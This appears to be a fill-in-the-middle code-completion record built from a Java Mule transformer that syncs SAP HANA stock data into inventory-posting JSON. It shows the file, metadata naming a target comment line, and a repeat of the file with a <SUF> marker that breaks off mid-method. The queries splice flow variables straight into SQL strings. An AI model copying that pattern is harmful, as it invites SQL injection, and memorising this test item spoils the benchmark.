import org.apache.log4j.Logger;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
import org.json.JSONArray;
import org.json.JSONObject;
import org.mule.api.MuleMessage;
import org.mule.api.transformer.TransformerException;
import org.mule.transformer.AbstractMessageTransformer;
public class ODBCConnector extends AbstractMessageTransformer {
private static final Logger LOG = Logger.getLogger("jmc_java.log");
@Override
public Object transformMessage(MuleMessage message, String outputEncoding) throws TransformerException {
// Define DB Login Information from FlowVars
String user = message.getInvocationProperty("DBUser");
String password = message.getInvocationProperty("DBPass");
String connectionString = message.getInvocationProperty("DBConnection");
// Create a connection manager with all the info
ODBCManager manager = new ODBCManager(user, password, connectionString);
// Connect to DB
Connection connect = manager.connect();
if (connect == null) {
return "Error Connecting to DB. Check Logs";
} else {
System.out.println("Connection to HANA successful!");
}
try {
// Create a statement to call
Statement query1St = manager.createStatement();
// Decide which database we're hitting
String destination = message.getInvocationProperty("Destination");
String origin = message.getInvocationProperty("Origin");
String fullDestination = destination;
String warehouseMatch = message.getInvocationProperty("warehouseMatch");
HashMap<String, String> destinationMap = message.getInvocationProperty("TableDestinations");
// Check which Items are Inventory enabled from Destination and Holding
String query1 = "SELECT \"ItemCode\",\"InvntItem\" FROM " + destination + ".OITM";
String query2 = "SELECT \"ItemCode\",\"InvntItem\" FROM " + origin + ".OITM";
LOG.info("Item Info Q: " + query1);
LOG.info("Item Info Q2: " + query2);
ResultSet stockEnabled = query1St.executeQuery(query1);
// Save a HashMap of all the Items that are inventory enabled
HashMap<String, Boolean> invItems = parseInventoryResults(stockEnabled);
Statement query2St = manager.createStatement();
ResultSet stockEnabledHolding = query2St.executeQuery(query2);
String queryLote = "SELECT \"ItemCode\", \"WhsCode\", \"OnHand\" FROM "
+ origin + ".OITW WHERE \"WhsCode\" in " + warehouseMatch + ""
+ " AND \"OnHand\" > 0";
LOG.info("Item Count Q: "+queryLote);
Statement queryLoteSt = manager.createStatement();
ResultSet parseStockLoteVentas = queryLoteSt.executeQuery(queryLote);
// Save a HashMap of all the Items that are inventory enabled
HashMap<String, Boolean> invItemsHolding = parseInventoryResults(stockEnabledHolding);
HashMap<String, Object> stockLoteVentas = parseStockLoteVentas(parseStockLoteVentas);
// Dont syncronize if the item is not enabled in holding, will cause an error.
// Also, if the item doesnt exist
for (String val : invItems.keySet()) {
if (invItems.get(val)) { // Dont bother if item is not set to syncronzie anyway
if (invItemsHolding.containsKey(val)) { // Check if item exists in holding
if (!invItemsHolding.get(val)) { // Check if item is enabled in holding
invItems.put(val, false);
}
} else {
invItems.put(val, false);
}
}
}
// for (String value : invItemsHolding.keySet()) {
// if (invItems.get(value)) {
// //LOG.info("Disabled from holding: "+value);
// }
// }
// Get the last updated Date YYYY-MM-DD
String updateDate = message.getInvocationProperty("updateDate");
String updateTime = message.getInvocationProperty("updateTime");
DateTimeFormatter inputFormatter = DateTimeFormat.forPattern("HH-mm-ss");
DateTimeFormatter outputFormatter = DateTimeFormat.forPattern("HHmm");
DateTime dateTime = inputFormatter.parseDateTime(updateTime);
String formattedUpdateTime = outputFormatter.print(dateTime.getMillis());
// Get all Item Stocks from DB
// Full STR
// https://stackoverflow.com/questions/58507324/filtering-out-duplicate-entires-for-older-rows
// SELECT * FROM (SELECT T0.\"ItemCode\", T0.\"WhsCode\", T0.\"OnHand\",
// T0.\"IsCommited\", T0.\"OnOrder\", T1.\"DocDate\", T1.\"DocTime\",
// ROW_NUMBER() OVER (PARTITION BY T0.\"ItemCode\" ORDER BY T1.\"DocTime\" DESC)
// AS RN FROM KA_DEV6.OITW T0JOIN KA_DEV6.OINM T1 ON T0.\"WhsCode\" = '01' AND
// T0.\"ItemCode\" = T1.\"ItemCode\" WHERE T1.\"DocDate\" > '2019-10-20' OR
// (T1.\"DocDate\" = '2019-10-20' AND T1.\"DocTime\" >= '1025')) X WHERE RN = 1
String str = "SELECT * FROM " + "("
+ "SELECT T0.\"ItemCode\", T0.\"WhsCode\", T0.\"OnHand\", T0.\"IsCommited\", T0.\"OnOrder\", T1.\"DocDate\", T1.\"DocTime\", T2.\"LastPurPrc\", "
+ " ROW_NUMBER() OVER (PARTITION BY T0.\"ItemCode\" "
+ "ORDER BY T1.\"DocDate\",T1.\"DocTime\" DESC) AS RN " + "FROM " + destination + ".OITW T0 JOIN "
+ destination + ".OINM T1 " + "ON T0.\"WhsCode\" = '01' AND T0.\"ItemCode\" = T1.\"ItemCode\" "
+ "JOIN " + destination + ".OITM T2 ON T0.\"ItemCode\" = T2.\"ItemCode\" "
+ "WHERE T1.\"DocDate\" > '" + updateDate + "' OR (T1.\"DocDate\" = '" + updateDate
+ "' AND T1.\"DocTime\" >= '" + formattedUpdateTime + "')" + ") X WHERE RN = 1 "
+ "ORDER BY \"DocDate\", \"DocTime\" DESC";
LOG.info("Query: " + str);
ResultSet Items = manager.executeQuery(str);
// Parse results as array list ordered by date from oldest (top) to newest
// (bottom)
ArrayList<HashMap<String, Object>> results = parseItemSelect(Items);
HashMap<String, String> newest = getNewestDate(results);
if (newest != null) {
try {
CurrentTimeSaver.setUpdateTime("STOCK_" + destination, newest.get("Time"), newest.get("Date"));
} catch (IOException e) {
e.printStackTrace();
}
}
destination = destinationMap.get(destination);
String UoMEntryQuery = "SELECT \"IUoMEntry\",\"ItemCode\" FROM " + fullDestination + ".OITM";
// System.out.println("Query: " + UoMEntryQuery);
ResultSet querySet = manager.executeQuery(UoMEntryQuery);
HashMap<String, Integer> UoMEntryCodes = parseUoMList(querySet);
String UoMCodeQuery = "SELECT \"UomCode\", \"UomEntry\" FROM " + fullDestination + ".OUOM";
System.out.println("Query: " + UoMCodeQuery);
ResultSet UoMCodeSet = manager.executeQuery(UoMCodeQuery);
HashMap<Integer, String> UoMCode = parseUoMCodeList(UoMCodeSet);
// LOG.info("Parsing done!");
HashMap<String, String> UoMCodeTable = new HashMap<>();
for (String invCode : UoMEntryCodes.keySet()) {
UoMCodeTable.put(invCode, UoMCode.get(UoMEntryCodes.get(invCode)));
}
ArrayList<HashMap<String, Object>> resultsWithUoM = parseItemSelect(Items);
for (HashMap<String, Object> itemMap : results) {
if (UoMEntryCodes.get((String) itemMap.get("ItemCode")) != -1) {
itemMap.put("UoMCode", UoMCodeTable.get(itemMap.get("ItemCode")));
// System.out.println("ItemCode: " + itemMap.get("ItemCode") + " - "+
// UoMCodeTable.get(itemMap.get("ItemCode")));
resultsWithUoM.add(itemMap);
} else {
resultsWithUoM.add(itemMap);
}
}
// Create a hashmap to hold the arraylist
LOG.info("Total results: " + resultsWithUoM.size());
// System.out.println(message);
LOG.info("Result returned!");
// LOG.info(""+StringToJSON.javaToJSONToString(result));
List<List<HashMap<String, Object>>> arraySplit = splitArray(resultsWithUoM, 300);
ArrayList<String> Documents = new ArrayList<String>();
for (List<HashMap<String, Object>> array : arraySplit) {
JSONObject doc = arrayToDocument(array, destination, invItems, stockLoteVentas);
if (doc != null) {
Documents.add(doc.toString());
}
}
return Documents;
} catch (SQLException | NumberFormatException | ParseException e) {
e.printStackTrace();
return e;
}
}
private HashMap<String, Object> parseStockLoteVentas(ResultSet set) throws SQLException {
HashMap<String, Object> cantidadStock = new HashMap<>();
while (set.next() != false) {
if (cantidadStock.containsKey(set.getString("ItemCode"))) {
HashMap<String, Object> stockMap = (HashMap<String, Object>) cantidadStock
.get(set.getString("ItemCode"));
stockMap.put(set.getString("WhsCode"), set.getDouble("OnHand"));
cantidadStock.put(set.getString("ItemCode"), stockMap);
} else {
HashMap<String, Object> stockMap = new HashMap<>();
stockMap.put(set.getString("WhsCode"), set.getDouble("OnHand"));
cantidadStock.put(set.getString("ItemCode"), stockMap);
}
}
return cantidadStock;
}
public HashMap<String, Integer> parseUoMList(ResultSet set) throws SQLException {
int rows = 0;
HashMap<String, Integer> results = new HashMap<>();
while (set.next() != false) {
results.put(set.getString("ItemCode"), set.getInt("IUoMEntry"));
// System.out.println(rowResult);
rows++;
}
if (rows == 0) {
return null;
}
return results;
}
public HashMap<Integer, String> parseUoMCodeList(ResultSet set) throws SQLException {
int rows = 0;
HashMap<Integer, String> results = new HashMap<>();
while (set.next() != false) {
results.put(set.getInt("UomEntry"), set.getString("UomCode"));
// System.out.println(rowResult);
rows++;
}
if (rows == 0) {
return null;
}
return results;
}
public static HashMap<String, String> getNewestDate(ArrayList<HashMap<String, Object>> results) {
Calendar cal = null;
for (HashMap<String, Object> map : results) {
Calendar calendar = (Calendar) map.get("calendar");
if (cal != null) {
if (calendar.after(cal)) {
cal = calendar;
LOG.info("Date " + getDateFromCalendar(calendar) + " is newer than " + getDateFromCalendar(cal));
}
} else {
cal = calendar;
LOG.info("Date doesnt exist, date set: " + getDateFromCalendar(calendar));
LOG.info("Time doesnt exist, date set: " + getTimeFromCalendar(calendar));
}
}
if (cal == null) {
return null;
}
HashMap<String, String> returnInfo = new HashMap<>();
returnInfo.put("Date", getDateFromCalendar(cal));
returnInfo.put("Time", getTimeFromCalendar(cal));
LOG.info(returnInfo.toString());
return returnInfo;
}
public static String getTimeFromCalendar(Calendar cal) {
LOG.info("Hour: " + cal.get(Calendar.HOUR_OF_DAY));
LOG.info("Minute: " + (cal.get(Calendar.MINUTE)));
LOG.info("FormatH: " + String.format("%02d", cal.get(Calendar.HOUR_OF_DAY)));
return String.format("%02d", cal.get(Calendar.HOUR_OF_DAY)) + "-"
+ String.format("%02d", (cal.get(Calendar.MINUTE))) + "-" + "00";
}
public static String getDateFromCalendar(Calendar cal) {
return cal.get(Calendar.YEAR) + "-" + (cal.get(Calendar.MONTH) + 1) + "-" + cal.get(Calendar.DAY_OF_MONTH);
}
@SuppressWarnings("unchecked")
public static JSONObject arrayToDocument(List<HashMap<String, Object>> inputArray, String destination,
HashMap<String, Boolean> invItems, HashMap<String, Object> stockVentas) {
JSONObject obj = new JSONObject();
JSONArray array = new JSONArray();
LOG.info("New Document");
int i = 1;
for (HashMap<String, Object> map : inputArray) {
// System.out.println(((Calendar) map.get("calendar")).getTime());
JSONObject jsonMap = new JSONObject();
jsonMap.put("LineNumber", i);
jsonMap.put("ItemCode", (String) map.get("ItemCode"));
if (map.get("UoMCode") != null) {
jsonMap.put("UoMCode", (String) map.get("UoMCode"));
}
jsonMap.put("Price", map.get("Price"));
jsonMap.put("WarehouseCode", destination + "_" + (String) map.get("WharehouseCode"));
double count = 0;
count = (Double) map.get("CountedQuantity");
jsonMap.put("CountedQuantity", count);
if (invItems.get((String) map.get("ItemCode"))) {
// LOG.info("Line number: " + i);
Double cantidadDisponible = 0.0;
if (stockVentas.containsKey((String) map.get("ItemCode"))) {
if (((HashMap<String, Object>) stockVentas.get((String) map.get("ItemCode"))).containsKey(destination + "_" + (String) map.get("WharehouseCode"))) {
cantidadDisponible = (Double) ((HashMap<String, Object>) stockVentas
.get((String) map.get("ItemCode"))).get(destination + "_" + (String) map.get("WharehouseCode"));
}
}
JSONArray BatchNumbers = new JSONArray();
JSONObject batchLine = new JSONObject();
batchLine.put("BatchNumber", "ventas");
batchLine.put("Quantity", count - cantidadDisponible);
batchLine.put("BaseLineNumber", i);
BatchNumbers.put(batchLine);
jsonMap.put("InventoryPostingBatchNumbers", BatchNumbers);
if (Double.valueOf((String) map.get("Price")) > 0) {
array.put(jsonMap);
i++;
}
}
}
obj.put("InventoryPostingLines", array);
if (i == 1) {
return null;
}
return obj;
}
public static List<List<HashMap<String, Object>>> splitArray(ArrayList<HashMap<String, Object>> arrayToSplit,
int chunkSize) {
if (chunkSize <= 0) {
return null; // just in case :)
}
// editado de
// https://stackoverflow.com/questions/27857011/how-to-split-a-string-array-into-small-chunk-arrays-in-java
// first we have to check if the array can be split in multiple
// arrays of equal 'chunk' size
int rest = arrayToSplit.size() % chunkSize; // if rest>0 then our last array will have less elements than the
// others
// then we check in how many arrays we can split our input array
int chunks = arrayToSplit.size() / chunkSize + (rest > 0 ? 1 : 0); // we may have to add an additional array for
// the 'rest'
// now we know how many arrays we need and create our result array
List<List<HashMap<String, Object>>> arrays = new ArrayList<List<HashMap<String, Object>>>();
// we create our resulting arrays by copying the corresponding
// part from the input array. If we have a rest (rest>0), then
// the last array will have less elements than the others. This
// needs to be handled separately, so we iterate 1 times less.
for (int i = 0; i < (rest > 0 ? chunks - 1 : chunks); i++) {
// this copies 'chunk' times 'chunkSize' elements into a new array
List<HashMap<String, Object>> array = arrayToSplit.subList(i * chunkSize, i * chunkSize + chunkSize);
arrays.add(array);
}
if (rest > 0) { // only when we have a rest
// we copy the remaining elements into the last chunk
// arrays[chunks - 1] = Arrays.copyOfRange(arrayToSplit, (chunks - 1) *
// chunkSize, (chunks - 1) * chunkSize + rest);
List<HashMap<String, Object>> array = arrayToSplit.subList((chunks - 1) * chunkSize,
(chunks - 1) * chunkSize + rest);
arrays.add(array);
}
return arrays; // that's it
}
public HashMap<String, Boolean> parseInventoryResults(ResultSet set) throws SQLException {
HashMap<String, Boolean> map = new HashMap<String, Boolean>();
while (set.next() != false) {
String ItemCode = set.getString("ItemCode");
String Inventory = set.getString("InvntItem");
if (Inventory.equals("Y")) { // Enabled
map.put(ItemCode, true);
} else // Not Enabled
{
map.put(ItemCode, false);
}
}
return map;
}
public ArrayList<HashMap<String, Object>> parseItemSelect(ResultSet set)
throws NumberFormatException, SQLException, ParseException {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
while (set.next() != false) {
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("ItemCode", set.getString("ItemCode"));
map.put("WharehouseCode", set.getString("WhsCode"));
double count = 0;
count = (Double.valueOf((String) set.getString("OnHand")))
- (Double.valueOf((String) set.getString("IsCommited")))
+ (Double.valueOf((String) set.getString("OnOrder")));
map.put("CountedQuantity", Math.max(count, 0.0));
map.put("Price", set.getString("LastPurPrc"));
String date = (String) set.getString("DocDate");
int milTime = set.getInt("DocTime");
String rawTimestamp = String.format("%04d", milTime);
DateTimeFormatter inputFormatter = DateTimeFormat.forPattern("HHmm");
DateTimeFormatter outputFormatter = DateTimeFormat.forPattern("HH:mm");
DateTime dateTime = inputFormatter.parseDateTime(rawTimestamp);
String formattedTimestamp = outputFormatter.print(dateTime.getMillis());
LOG.info("formatted Time: " + formattedTimestamp);
// System.out.println("Time: " + formattedTimestamp);
if (date != null) {
// System.out.println(date);
// 2019-09-30 00:00:00.000000000
String time = date.substring(0, 10);
time = time + " " + formattedTimestamp + ":00.000000000";
LOG.info("Time: " + time);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd' 'HH:mm:ss.SSSSSSSSS");
Date dateObj = sdf.parse(time);
Calendar calendar = new GregorianCalendar();
calendar.setTime(dateObj);
map.put("calendar", calendar);
}
list.add(map);
}
ArrayList<HashMap<String, Object>> sortedList = DateTimeSaver.orderByDate(list);
return sortedList;
}
}
| AcquaNet/JMC-Integracion | b1_sync_stock/src/main/java/b1_sync_stock/ODBCConnector.java | 5,860 | // if (invItems.get(value)) { | line_comment | nl | package b1_sync_stock;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
import java.util.HashMap;
import java.util.List;
import org.apache.log4j.Logger;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
import org.json.JSONArray;
import org.json.JSONObject;
import org.mule.api.MuleMessage;
import org.mule.api.transformer.TransformerException;
import org.mule.transformer.AbstractMessageTransformer;
public class ODBCConnector extends AbstractMessageTransformer {
private static final Logger LOG = Logger.getLogger("jmc_java.log");
@Override
public Object transformMessage(MuleMessage message, String outputEncoding) throws TransformerException {
// Define DB Login Information from FlowVars
String user = message.getInvocationProperty("DBUser");
String password = message.getInvocationProperty("DBPass");
String connectionString = message.getInvocationProperty("DBConnection");
// Create a connection manager with all the info
ODBCManager manager = new ODBCManager(user, password, connectionString);
// Connect to DB
Connection connect = manager.connect();
if (connect == null) {
return "Error Connecting to DB. Check Logs";
} else {
System.out.println("Connection to HANA successful!");
}
try {
// Create a statement to call
Statement query1St = manager.createStatement();
// Decide which database we're hitting
String destination = message.getInvocationProperty("Destination");
String origin = message.getInvocationProperty("Origin");
String fullDestination = destination;
String warehouseMatch = message.getInvocationProperty("warehouseMatch");
HashMap<String, String> destinationMap = message.getInvocationProperty("TableDestinations");
// Check which Items are Inventory enabled from Destination and Holding
String query1 = "SELECT \"ItemCode\",\"InvntItem\" FROM " + destination + ".OITM";
String query2 = "SELECT \"ItemCode\",\"InvntItem\" FROM " + origin + ".OITM";
LOG.info("Item Info Q: " + query1);
LOG.info("Item Info Q2: " + query2);
ResultSet stockEnabled = query1St.executeQuery(query1);
// Save a HashMap of all the Items that are inventory enabled
HashMap<String, Boolean> invItems = parseInventoryResults(stockEnabled);
Statement query2St = manager.createStatement();
ResultSet stockEnabledHolding = query2St.executeQuery(query2);
String queryLote = "SELECT \"ItemCode\", \"WhsCode\", \"OnHand\" FROM "
+ origin + ".OITW WHERE \"WhsCode\" in " + warehouseMatch + ""
+ " AND \"OnHand\" > 0";
LOG.info("Item Count Q: "+queryLote);
Statement queryLoteSt = manager.createStatement();
ResultSet parseStockLoteVentas = queryLoteSt.executeQuery(queryLote);
// Save a HashMap of all the Items that are inventory enabled
HashMap<String, Boolean> invItemsHolding = parseInventoryResults(stockEnabledHolding);
HashMap<String, Object> stockLoteVentas = parseStockLoteVentas(parseStockLoteVentas);
// Dont syncronize if the item is not enabled in holding, will cause an error.
// Also, if the item doesnt exist
for (String val : invItems.keySet()) {
if (invItems.get(val)) { // Dont bother if item is not set to syncronzie anyway
if (invItemsHolding.containsKey(val)) { // Check if item exists in holding
if (!invItemsHolding.get(val)) { // Check if item is enabled in holding
invItems.put(val, false);
}
} else {
invItems.put(val, false);
}
}
}
// for (String value : invItemsHolding.keySet()) {
// if (invItems.get(value))<SUF>
// //LOG.info("Disabled from holding: "+value);
// }
// }
// Get the last updated Date YYYY-MM-DD
String updateDate = message.getInvocationProperty("updateDate");
String updateTime = message.getInvocationProperty("updateTime");
DateTimeFormatter inputFormatter = DateTimeFormat.forPattern("HH-mm-ss");
DateTimeFormatter outputFormatter = DateTimeFormat.forPattern("HHmm");
DateTime dateTime = inputFormatter.parseDateTime(updateTime);
String formattedUpdateTime = outputFormatter.print(dateTime.getMillis());
// Get all Item Stocks from DB
// Full STR
// https://stackoverflow.com/questions/58507324/filtering-out-duplicate-entires-for-older-rows
// SELECT * FROM (SELECT T0.\"ItemCode\", T0.\"WhsCode\", T0.\"OnHand\",
// T0.\"IsCommited\", T0.\"OnOrder\", T1.\"DocDate\", T1.\"DocTime\",
// ROW_NUMBER() OVER (PARTITION BY T0.\"ItemCode\" ORDER BY T1.\"DocTime\" DESC)
// AS RN FROM KA_DEV6.OITW T0JOIN KA_DEV6.OINM T1 ON T0.\"WhsCode\" = '01' AND
// T0.\"ItemCode\" = T1.\"ItemCode\" WHERE T1.\"DocDate\" > '2019-10-20' OR
// (T1.\"DocDate\" = '2019-10-20' AND T1.\"DocTime\" >= '1025')) X WHERE RN = 1
String str = "SELECT * FROM " + "("
+ "SELECT T0.\"ItemCode\", T0.\"WhsCode\", T0.\"OnHand\", T0.\"IsCommited\", T0.\"OnOrder\", T1.\"DocDate\", T1.\"DocTime\", T2.\"LastPurPrc\", "
+ " ROW_NUMBER() OVER (PARTITION BY T0.\"ItemCode\" "
+ "ORDER BY T1.\"DocDate\",T1.\"DocTime\" DESC) AS RN " + "FROM " + destination + ".OITW T0 JOIN "
+ destination + ".OINM T1 " + "ON T0.\"WhsCode\" = '01' AND T0.\"ItemCode\" = T1.\"ItemCode\" "
+ "JOIN " + destination + ".OITM T2 ON T0.\"ItemCode\" = T2.\"ItemCode\" "
+ "WHERE T1.\"DocDate\" > '" + updateDate + "' OR (T1.\"DocDate\" = '" + updateDate
+ "' AND T1.\"DocTime\" >= '" + formattedUpdateTime + "')" + ") X WHERE RN = 1 "
+ "ORDER BY \"DocDate\", \"DocTime\" DESC";
LOG.info("Query: " + str);
ResultSet Items = manager.executeQuery(str);
// Parse results as array list ordered by date from oldest (top) to newest
// (bottom)
ArrayList<HashMap<String, Object>> results = parseItemSelect(Items);
HashMap<String, String> newest = getNewestDate(results);
if (newest != null) {
try {
CurrentTimeSaver.setUpdateTime("STOCK_" + destination, newest.get("Time"), newest.get("Date"));
} catch (IOException e) {
e.printStackTrace();
}
}
destination = destinationMap.get(destination);
String UoMEntryQuery = "SELECT \"IUoMEntry\",\"ItemCode\" FROM " + fullDestination + ".OITM";
// System.out.println("Query: " + UoMEntryQuery);
ResultSet querySet = manager.executeQuery(UoMEntryQuery);
HashMap<String, Integer> UoMEntryCodes = parseUoMList(querySet);
String UoMCodeQuery = "SELECT \"UomCode\", \"UomEntry\" FROM " + fullDestination + ".OUOM";
System.out.println("Query: " + UoMCodeQuery);
ResultSet UoMCodeSet = manager.executeQuery(UoMCodeQuery);
HashMap<Integer, String> UoMCode = parseUoMCodeList(UoMCodeSet);
// LOG.info("Parsing done!");
HashMap<String, String> UoMCodeTable = new HashMap<>();
for (String invCode : UoMEntryCodes.keySet()) {
UoMCodeTable.put(invCode, UoMCode.get(UoMEntryCodes.get(invCode)));
}
ArrayList<HashMap<String, Object>> resultsWithUoM = parseItemSelect(Items);
for (HashMap<String, Object> itemMap : results) {
if (UoMEntryCodes.get((String) itemMap.get("ItemCode")) != -1) {
itemMap.put("UoMCode", UoMCodeTable.get(itemMap.get("ItemCode")));
// System.out.println("ItemCode: " + itemMap.get("ItemCode") + " - "+
// UoMCodeTable.get(itemMap.get("ItemCode")));
resultsWithUoM.add(itemMap);
} else {
resultsWithUoM.add(itemMap);
}
}
// Create a hashmap to hold the arraylist
LOG.info("Total results: " + resultsWithUoM.size());
// System.out.println(message);
LOG.info("Result returned!");
// LOG.info(""+StringToJSON.javaToJSONToString(result));
List<List<HashMap<String, Object>>> arraySplit = splitArray(resultsWithUoM, 300);
ArrayList<String> Documents = new ArrayList<String>();
for (List<HashMap<String, Object>> array : arraySplit) {
JSONObject doc = arrayToDocument(array, destination, invItems, stockLoteVentas);
if (doc != null) {
Documents.add(doc.toString());
}
}
return Documents;
} catch (SQLException | NumberFormatException | ParseException e) {
e.printStackTrace();
return e;
}
}
private HashMap<String, Object> parseStockLoteVentas(ResultSet set) throws SQLException {
HashMap<String, Object> cantidadStock = new HashMap<>();
while (set.next() != false) {
if (cantidadStock.containsKey(set.getString("ItemCode"))) {
HashMap<String, Object> stockMap = (HashMap<String, Object>) cantidadStock
.get(set.getString("ItemCode"));
stockMap.put(set.getString("WhsCode"), set.getDouble("OnHand"));
cantidadStock.put(set.getString("ItemCode"), stockMap);
} else {
HashMap<String, Object> stockMap = new HashMap<>();
stockMap.put(set.getString("WhsCode"), set.getDouble("OnHand"));
cantidadStock.put(set.getString("ItemCode"), stockMap);
}
}
return cantidadStock;
}
public HashMap<String, Integer> parseUoMList(ResultSet set) throws SQLException {
int rows = 0;
HashMap<String, Integer> results = new HashMap<>();
while (set.next() != false) {
results.put(set.getString("ItemCode"), set.getInt("IUoMEntry"));
// System.out.println(rowResult);
rows++;
}
if (rows == 0) {
return null;
}
return results;
}
public HashMap<Integer, String> parseUoMCodeList(ResultSet set) throws SQLException {
int rows = 0;
HashMap<Integer, String> results = new HashMap<>();
while (set.next() != false) {
results.put(set.getInt("UomEntry"), set.getString("UomCode"));
// System.out.println(rowResult);
rows++;
}
if (rows == 0) {
return null;
}
return results;
}
public static HashMap<String, String> getNewestDate(ArrayList<HashMap<String, Object>> results) {
Calendar cal = null;
for (HashMap<String, Object> map : results) {
Calendar calendar = (Calendar) map.get("calendar");
if (cal != null) {
if (calendar.after(cal)) {
cal = calendar;
LOG.info("Date " + getDateFromCalendar(calendar) + " is newer than " + getDateFromCalendar(cal));
}
} else {
cal = calendar;
LOG.info("Date doesnt exist, date set: " + getDateFromCalendar(calendar));
LOG.info("Time doesnt exist, date set: " + getTimeFromCalendar(calendar));
}
}
if (cal == null) {
return null;
}
HashMap<String, String> returnInfo = new HashMap<>();
returnInfo.put("Date", getDateFromCalendar(cal));
returnInfo.put("Time", getTimeFromCalendar(cal));
LOG.info(returnInfo.toString());
return returnInfo;
}
public static String getTimeFromCalendar(Calendar cal) {
LOG.info("Hour: " + cal.get(Calendar.HOUR_OF_DAY));
LOG.info("Minute: " + (cal.get(Calendar.MINUTE)));
LOG.info("FormatH: " + String.format("%02d", cal.get(Calendar.HOUR_OF_DAY)));
return String.format("%02d", cal.get(Calendar.HOUR_OF_DAY)) + "-"
+ String.format("%02d", (cal.get(Calendar.MINUTE))) + "-" + "00";
}
public static String getDateFromCalendar(Calendar cal) {
return cal.get(Calendar.YEAR) + "-" + (cal.get(Calendar.MONTH) + 1) + "-" + cal.get(Calendar.DAY_OF_MONTH);
}
@SuppressWarnings("unchecked")
public static JSONObject arrayToDocument(List<HashMap<String, Object>> inputArray, String destination,
HashMap<String, Boolean> invItems, HashMap<String, Object> stockVentas) {
JSONObject obj = new JSONObject();
JSONArray array = new JSONArray();
LOG.info("New Document");
int i = 1;
for (HashMap<String, Object> map : inputArray) {
// System.out.println(((Calendar) map.get("calendar")).getTime());
JSONObject jsonMap = new JSONObject();
jsonMap.put("LineNumber", i);
jsonMap.put("ItemCode", (String) map.get("ItemCode"));
if (map.get("UoMCode") != null) {
jsonMap.put("UoMCode", (String) map.get("UoMCode"));
}
jsonMap.put("Price", map.get("Price"));
jsonMap.put("WarehouseCode", destination + "_" + (String) map.get("WharehouseCode"));
double count = 0;
count = (Double) map.get("CountedQuantity");
jsonMap.put("CountedQuantity", count);
if (invItems.get((String) map.get("ItemCode"))) {
// LOG.info("Line number: " + i);
Double cantidadDisponible = 0.0;
if (stockVentas.containsKey((String) map.get("ItemCode"))) {
if (((HashMap<String, Object>) stockVentas.get((String) map.get("ItemCode"))).containsKey(destination + "_" + (String) map.get("WharehouseCode"))) {
cantidadDisponible = (Double) ((HashMap<String, Object>) stockVentas
.get((String) map.get("ItemCode"))).get(destination + "_" + (String) map.get("WharehouseCode"));
}
}
JSONArray BatchNumbers = new JSONArray();
JSONObject batchLine = new JSONObject();
batchLine.put("BatchNumber", "ventas");
batchLine.put("Quantity", count - cantidadDisponible);
batchLine.put("BaseLineNumber", i);
BatchNumbers.put(batchLine);
jsonMap.put("InventoryPostingBatchNumbers", BatchNumbers);
if (Double.valueOf((String) map.get("Price")) > 0) {
array.put(jsonMap);
i++;
}
}
}
obj.put("InventoryPostingLines", array);
if (i == 1) {
return null;
}
return obj;
}
public static List<List<HashMap<String, Object>>> splitArray(ArrayList<HashMap<String, Object>> arrayToSplit,
int chunkSize) {
if (chunkSize <= 0) {
return null; // just in case :)
}
// editado de
// https://stackoverflow.com/questions/27857011/how-to-split-a-string-array-into-small-chunk-arrays-in-java
// first we have to check if the array can be split in multiple
// arrays of equal 'chunk' size
int rest = arrayToSplit.size() % chunkSize; // if rest>0 then our last array will have less elements than the
// others
// then we check in how many arrays we can split our input array
int chunks = arrayToSplit.size() / chunkSize + (rest > 0 ? 1 : 0); // we may have to add an additional array for
// the 'rest'
// now we know how many arrays we need and create our result array
List<List<HashMap<String, Object>>> arrays = new ArrayList<List<HashMap<String, Object>>>();
// we create our resulting arrays by copying the corresponding
// part from the input array. If we have a rest (rest>0), then
// the last array will have less elements than the others. This
// needs to be handled separately, so we iterate 1 times less.
for (int i = 0; i < (rest > 0 ? chunks - 1 : chunks); i++) {
// this copies 'chunk' times 'chunkSize' elements into a new array
List<HashMap<String, Object>> array = arrayToSplit.subList(i * chunkSize, i * chunkSize + chunkSize);
arrays.add(array);
}
if (rest > 0) { // only when we have a rest
// we copy the remaining elements into the last chunk
// arrays[chunks - 1] = Arrays.copyOfRange(arrayToSplit, (chunks - 1) *
// chunkSize, (chunks - 1) * chunkSize + rest);
List<HashMap<String, Object>> array = arrayToSplit.subList((chunks - 1) * chunkSize,
(chunks - 1) * chunkSize + rest);
arrays.add(array);
}
return arrays; // that's it
}
public HashMap<String, Boolean> parseInventoryResults(ResultSet set) throws SQLException {
HashMap<String, Boolean> map = new HashMap<String, Boolean>();
while (set.next() != false) {
String ItemCode = set.getString("ItemCode");
String Inventory = set.getString("InvntItem");
if (Inventory.equals("Y")) { // Enabled
map.put(ItemCode, true);
} else // Not Enabled
{
map.put(ItemCode, false);
}
}
return map;
}
public ArrayList<HashMap<String, Object>> parseItemSelect(ResultSet set)
throws NumberFormatException, SQLException, ParseException {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
while (set.next() != false) {
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("ItemCode", set.getString("ItemCode"));
map.put("WharehouseCode", set.getString("WhsCode"));
double count = 0;
count = (Double.valueOf((String) set.getString("OnHand")))
- (Double.valueOf((String) set.getString("IsCommited")))
+ (Double.valueOf((String) set.getString("OnOrder")));
map.put("CountedQuantity", Math.max(count, 0.0));
map.put("Price", set.getString("LastPurPrc"));
String date = (String) set.getString("DocDate");
int milTime = set.getInt("DocTime");
String rawTimestamp = String.format("%04d", milTime);
DateTimeFormatter inputFormatter = DateTimeFormat.forPattern("HHmm");
DateTimeFormatter outputFormatter = DateTimeFormat.forPattern("HH:mm");
DateTime dateTime = inputFormatter.parseDateTime(rawTimestamp);
String formattedTimestamp = outputFormatter.print(dateTime.getMillis());
LOG.info("formatted Time: " + formattedTimestamp);
// System.out.println("Time: " + formattedTimestamp);
if (date != null) {
// System.out.println(date);
// 2019-09-30 00:00:00.000000000
String time = date.substring(0, 10);
time = time + " " + formattedTimestamp + ":00.000000000";
